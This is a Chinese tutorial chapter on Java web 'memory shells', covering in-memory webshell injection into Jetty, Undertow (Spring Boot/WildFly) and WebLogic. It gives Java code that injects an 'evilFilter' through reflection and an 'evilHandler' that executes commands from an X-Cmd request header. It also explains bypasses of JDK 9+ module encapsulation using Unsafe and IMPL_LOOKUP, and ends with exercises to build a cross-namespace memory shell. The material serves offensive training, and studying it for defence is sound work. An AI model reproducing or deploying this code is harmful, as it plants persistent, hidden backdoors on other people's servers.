前面所有章节都以 Tomcat 为例。实战中还会遇到 Jetty、WebLogic、JBoss、Undertow 等,以及 JDK 9+ 模块系统带来的限制
中间件内存马差异全景
| 维度 |
Tomcat |
Jetty |
Undertow |
WebLogic |
| Context 类 |
StandardContext |
WebAppContext |
DeploymentInfo |
WebAppServletContext |
| Filter 管理 |
FilterDef + FilterMap |
FilterHolder + FilterMapping |
FilterInfo |
FilterManager |
| 获取上下文 |
反射 request.getContext() |
handler.getServletContext() |
DeploymentManager |
反射 |
| Pipeline 机制 |
Valve |
Handler Chain |
HttpHandler Chain |
无 |
| 复杂度 |
中 |
中 |
较高 |
高 |
Jetty 内存马
Jetty 架构
1 2 3 4 5 6 7 8
| Server └── Connector └── Handler (Handler 链,类似 Tomcat 的 Valve) └── WebAppContext (类似 StandardContext) └── ServletHandler ├── FilterHolder[] (Filter 定义) ├── FilterMapping[] (Filter 映射) └── ServletHolder[] (Servlet 定义)
|
Filter 型注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| WebAppClassLoader classLoader = (WebAppClassLoader) Thread.currentThread().getContextClassLoader(); WebAppContext webAppContext = (WebAppContext) classLoader.getContext();
ServletHandler servletHandler = webAppContext.getServletHandler();
FilterHolder filterHolder = new FilterHolder(new Filter() { }); filterHolder.setName("evilFilter");
FilterMapping filterMapping = new FilterMapping(); filterMapping.setFilterName("evilFilter"); filterMapping.setPathSpecs(new String[]{"/*"});
FilterHolder[] existingFilters = servletHandler.getFilters(); FilterHolder[] newFilters = new FilterHolder[existingFilters.length + 1]; newFilters[0] = filterHolder; System.arraycopy(existingFilters, 0, newFilters, 1, existingFilters.length);
Field filtersField = ServletHandler.class.getDeclaredField("_filters"); filtersField.setAccessible(true); filtersField.set(servletHandler, newFilters);
|
Undertow 内存马(Spring Boot / WildFly)
Undertow 不使用 Servlet 规范的内部实现,而是有自己的 Handler 链
注入思路
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| ServletRequestContext src = (ServletRequestContext) request.getAttribute("io.undertow.servlet.request.context"); DeploymentImpl deployment = (DeploymentImpl) src.getDeployment();
Field initialHandlerField = deployment.getClass() .getDeclaredField("initialHandler"); initialHandlerField.setAccessible(true); HttpHandler originalHandler = (HttpHandler) initialHandlerField.get(deployment);
HttpHandler evilHandler = exchange -> { String cmd = exchange.getRequestHeaders().getFirst("X-Cmd"); if (cmd != null) { exchange.getResponseSender().send(output); return; } originalHandler.handleRequest(exchange); };
initialHandlerField.set(deployment, evilHandler);
|
WebLogic 内存马
WebLogic 特殊性
- 类加载器极其复杂(多层嵌套)
- 内部 API 与 Tomcat 完全不同
- 序列化漏洞较多(T3/IIOP 协议)
- 企业环境使用较多
利用流程
1 2 3 4 5 6 7
| WebLogic T3 协议 → 反序列化漏洞 → 获得代码执行 ↓ 从线程中找到 WebAppServletContext ↓ 注入 Filter 型内存马 ↓ 通过 HTTP 端口通信(比 T3 更隐蔽)
|
JDK 高版本限制与绕过
JDK 9+ 模块系统(JPMS)的影响
1 2 3 4
| JDK 8: field.setAccessible(true) → 一切正常 JDK 9+: field.setAccessible(true) → 可能抛出 InaccessibleObjectException JDK 16+: 默认强封装,--illegal-access 选项被移除 JDK 17+: 完全强封装
|
绕过方案
方案1:Unsafe
1 2 3 4 5 6 7 8 9 10
| Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); Unsafe unsafe = (Unsafe) unsafeField.get(null);
long offset = unsafe.objectFieldOffset( targetClass.getDeclaredField("privateField")); Object value = unsafe.getObject(targetObj, offset); unsafe.putObject(targetObj, offset, newValue);
|
方案2:MethodHandles.Lookup
1 2 3 4 5 6 7 8 9 10
| Field implLookupField = MethodHandles.Lookup.class .getDeclaredField("IMPL_LOOKUP"); long offset = unsafe.staticFieldOffset(implLookupField); MethodHandles.Lookup lookup = (MethodHandles.Lookup) unsafe.getObject(MethodHandles.Lookup.class, offset);
VarHandle varHandle = lookup.findVarHandle( targetClass, "privateField", fieldType);
|
方案3:–add-opens JVM 参数
1 2 3
| java --add-opens java.base/java.lang=ALL-UNNAMED \ --add-opens java.base/java.lang.reflect=ALL-UNNAMED \ -jar app.jar
|
方案4:Java Agent(最彻底)
Agent 不受模块系统限制,拥有最高权限
在高版本 JDK 中,Agent 型内存马反而成为最可靠的方案
Jakarta EE 命名空间变更(Tomcat 10+)
变更内容
1 2
| javax.servlet.* → jakarta.servlet.* javax.websocket.* → jakarta.websocket.*
|
兼容方案
1 2 3 4 5 6 7 8
| boolean isJakarta; try { Class.forName("jakarta.servlet.Filter"); isJakarta = true; } catch (ClassNotFoundException e) { isJakarta = false; }
|
各中间件内存马速查表
| 中间件 |
获取上下文 |
Filter 注入 |
Agent 可用 |
主要漏洞入口 |
| Tomcat 8/9 |
StandardContext |
FilterDef+FilterMap |
是 |
反序列化/文件上传 |
| Tomcat 10+ |
StandardContext |
同上(Jakarta) |
是 |
同上 |
| Jetty 9/10 |
WebAppContext |
FilterHolder |
是 |
反序列化 |
| Undertow |
DeploymentImpl |
HttpHandler |
是 |
反序列化 |
| WebLogic |
WebAppServletContext |
FilterManager |
是 |
T3/IIOP 反序列化 |
| JBoss/WildFly |
Undertow(新版) |
同 Undertow |
是 |
JMX/反序列化 |
| GlassFish |
WebModule |
StandardContext(内嵌) |
是 |
反序列化 |
练习
- 在 Spring Boot 中切换内嵌容器为 Jetty,验证 Tomcat 内存马代码是否可用
- 使用 JDK 17 运行靶场,观察哪些反射操作被阻止
- 尝试使用 Unsafe 绕过 JDK 17 的模块系统限制
- 编写一个兼容 javax/jakarta 两种命名空间的 Filter 型内存马